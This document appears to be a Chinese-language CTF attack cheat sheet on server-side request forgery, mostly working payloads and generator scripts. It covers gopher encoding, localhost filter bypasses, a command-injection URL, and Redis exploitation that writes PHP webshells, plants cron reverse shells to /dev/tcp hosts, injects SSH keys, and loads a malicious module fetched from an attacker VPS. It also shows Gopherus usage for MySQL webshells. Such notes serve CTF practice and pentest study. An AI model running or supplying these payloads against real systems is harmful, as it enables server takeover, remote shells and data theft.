SSRF
HTTP包转 gopher
SSRF 转换 code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| import urllib.parse
payload ="""POST /Manage HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded Content-Length: 7
cmd=env""" new = urllib.parse.quote(payload, safe='') new = new.replace('%0A', '%0D%0A') print(new) result = 'gopher://0.0.0.0:8000/' + '_' + new print(result) result = urllib.parse.quote(result, safe='') print(result)
|
注意,GET请求结束的时候需要带换行。第一次编码给 gopher 的换行要是 %0d%0a。
绕过 Trick
对本机IP的替代
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| localhost 0.0.0.0=127.0.0.1 127.0000000000000.001=127.0.0.1 0=127.0.0.1 //在Linux中,0也会被解析成127.0.0.1。在windows 和 macos 中一般解析成0.0.0.0 127.201.205.254=127.0.0.1 //127.0.0.0/8是一个环回地址网段,从127.0.0.1 ~ 127.255.255.254都表示localhost http://example.com@127.0.0.1 127.0.0.1就是127.⓿.⓿.1 http://①②⑦.⓪.⓪.① locⒶlhost http://[::]:80/ 127.0.0.1用不同进制可以表示为 10进制 http://2130706433 8进制 http://017700000001 16进制 http://0x7F000001 ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
|
白名单过滤
[SSRF漏洞深入利用与防御方案绕过技巧_ssrf绕过-CSDN博客](https://blog.csdn.net/weixin_39190897/article/details/140337605?ops_request_misc=&request_id=&biz_id=102&utm_term=ssrf 白名单绕过&utm_medium=distribute.pc_search_result.none-task-blog-2allsobaiduweb~default-1-140337605.142^v102^pc_search_result_base8)
1 2 3
| url 的构成:
[WAY]://username:password@host/path/param/#锚(不传入服务器)
|

意思是@前,也就是URL中表示用户名和密码的字段会被二次解码,所以可以构造如下payload即可闭合引号。
1
| url=http://a%2527@a;cp$IFS/flag$IFS/tmp/log%00
|
打重定向
1 2
| <?php header("Location: https://www.baidu.com/");
|
# 绕过拼接
JSON 我的灵魂 - PUCTF 2025 Web 挑战赛题解 | siunam 的网站 — JSON My Soul - PUCTF 2025 Web Challenge Writeup | siunam’s Website
1
| http://api@localhost/flag# => http://api@localhost/flag#/app/weather
|
SSRF 打数据库
redis
写webshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
|
import urllib.parse protocol = "gopher://" ip = "127.0.0.1" port = "6379" shell = "\n\n<?php eval($_POST[\"f4ke\"]);?>\n\n" filename = "5he1l.php" path = "/var/www/html" passwd = "" cmd = ["auth 123123", "flushall", "set 1 {}".format(shell.replace(" ","${IFS}")), "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save", "quit" ] if passwd: cmd.insert(0,"AUTH {}".format(passwd)) payload = protocol + ip + ":" + port + "/_" def redis_format(arr): CRLF = "\r\n" redis_arr = arr.split(" ") cmd = "" cmd += "*" + str(len(redis_arr)) for x in redis_arr: cmd += CRLF + "$" + str(len((x.replace("${IFS}"," ")))) + CRLF + x.replace("${IFS}"," ") cmd += CRLF return cmd
if __name__=="__main__": for x in cmd: payload += urllib.parse.quote(redis_format(x)) print(urllib.parse.quote(payload))
|
payload:
1 2 3 4 5 6
| flushall AUTH 20220311 CONFIG SET dir /var/www/html SET x '<?@eval($_POST[1]);?>' CONFIG SET dbfilename a.php SAVE
|
1 2 3 4
| dict://172.24.0.3:6379/config:set:/var/www/html dict://172.24.0.3:6379/config:set:dbfilename:shell.php dict://172.24.0.3:6379/set:webshell:"<?php phpinfo();?>" dict://172.24.0.3:6379/save
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| import urllib protocol="gopher://" ip="173.13.144.12" // 运行有redis的主机ip port="6379" shell="\n\n<?php system(\"cat /flag\");?>\n\n" filename="shell.php" path="/var/www/html" passwd="" cmd=["flushall", "set 1 {}".format(shell.replace(" ","${IFS}")), "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save" ] if passwd: cmd.insert(0,"AUTH {}".format(passwd)) payload=protocol+ip+":"+port+"/_" def redis_format(arr): CRLF="\r\n" redis_arr = arr.split(" ") cmd="" cmd+="*"+str(len(redis_arr)) for x in redis_arr: cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ") cmd+=CRLF return cmd
if __name__=="__main__": for x in cmd: payload += urllib.quote(redis_format(x)) print payload
|
写计划任务
payload:
1 2
| /var/spool/cron 这个文件负责安排由系统管理员制定的维护系统以及其他任务的crontab /etc/crontab 放的是对应周期的任务dalily、hourly 、monthly、weekly
|
1 2 3 4 5
| flushall set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.44/7777 0>&1\n" config set dir /var/spool/cron/ config set dbfilename root save
|
1 2 3 4
| flushall set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.244.129/7777 0>&1\n\n" config set dir /var/spool/cron/crontabs/ config set dbfilename root
|
1 2 3 4 5
| flushall set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/ip/port 0>&1\n\n' config set dir /var/spool/crontab/root config set dbfilename root save
|
1 2 3 4
| dict://127.0.0.1:6379/config:set:dbfilename:root dict://127.0.0.1:6379/config:set:dir:/var/spool/cron dict://127.0.0.1:6379/set:test:"\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.10.10.10/1234 0>&1\n\n" dict://127.0.0.1:6379/save
|
写公钥私钥连接
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| mkdir -p ~/.ssh chmod 700 ~/.ssh ssh-keygen -t rsa cd /root/.ssh/ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt cat key.txt | redis-cli -h 目标IP -x set xxx
config set dir /root/.ssh/ config set dbfilename authorized_keys save
cd /root/.ssh/ ssh -i id_rsa root@目标IP
|
主从复制
自动化工具
Ubuntu上安装docker的详细教程、docker常用命令介绍_ubuntu安装docker-CSDN博客
Redis基于主从复制的RCE 4.x/5.x 复现-CSDN博客
1 2 3
| docker pull damonevking/redis5.0 docker run -p 6379:6379 -d damonevking/redis5.0 redis-server python3 redis-rce.py -r targetip -L yourip -f exp.so
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| ssrf.php?url=dict://192.168.172.131:6379/info
ssrf.php?url=dict://192.168.172.131:6379/config:set:dbfilename:exp.so
ssrf.php?url=dict://192.168.172.131:6379/slaveof:192.168.172.129:1234
ssrf.php?url=dict://192.168.172.131:6379/module:load:./exp.so
ssrf.php?url=dict://192.168.172.131:6379/slaveof:no:one
ssrf.php?url=dict://192.168.172.131:6379/system.rev:192.168.172.129:9999
|
手动上传 exp.so
vnctf2022 web复现 - KingBridge - 博客园
爆破 redis 端口
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| function Curl($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true ); $result = curl_exec($ch); curl_close($ch); if($result!=''){ echo $result.$url; } } for($i=0;$i<9999;$i++){ Curl("dict://127.0.0.1:$i/info"); }
|
上传 exp.so
1 2 3 4 5 6 7 8 9 10 11 12 13
| function Curl($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true ); $result = curl_exec($ch); curl_close($ch); if(file_put_contents("exp.so",$result)){ print("success"); }
} Curl("http://vps-ip/exp.so");
|
gopher 打主从复制 RCE
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| load='''auth ye_w4nt_a_gir1fri3nd module load ./exp.so system.exec 'whoami' quit '''.replace('\n','\r\n') payloads = ''' function Curl($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true ); $result = curl_exec($ch); curl_close($ch); if($result!=''){ print($result); } } Curl("gopher://127.0.0.1:8888/_'''+parse.quote(load)+'''"); '''.strip()
|
mysql
直接使用自动化工具 Gophers。
自动化工具Gopherus
1 2 3 4 5 6 7
| python2 gopherus.py --exploit mysql root select "<?php eval($_POST[1]); ?>" into outfile '/var/www/html/shell.php';
python2 gopherus.py --exploit redis <?php eval($_POST[1]); ?>
|